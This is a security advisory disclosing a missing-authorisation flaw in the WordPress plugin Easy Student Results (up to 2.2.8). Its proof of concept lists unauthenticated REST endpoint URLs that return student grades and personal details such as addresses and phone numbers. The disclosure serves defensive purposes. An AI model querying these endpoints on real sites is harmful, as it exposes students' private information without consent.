Easy Student Results <= 2.2.8 – Sensitive Information Disclosure via REST API

Description

The plugin lacks authorisation in its REST API, allowing unauthenticated users to retrieve information related to the courses, exams, departments as well as student's grades and PII such as email address, physical address, phone number etc

Proof of Concept

When the "Enable API for Mobile Apps" settings (/wp-admin/admin.php?page=rps_result_settings) is enabled

https://example.com/wp-json/rps_result/v1/route/show_result?exam_record_id=2&student_id=32
https://example.com/wp-json/rps_result/v1/route/student_fields
https://example.com/wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1&semester_id=1
https://example.com/wp-json/rps_result/v1/route/result_fields
https://example.com/wp-json/rps_result/v1/route/list_results?exam_id=1&department_id=1&batch_id=1
https://example.com/wp-json/rps_result/v1/route/schema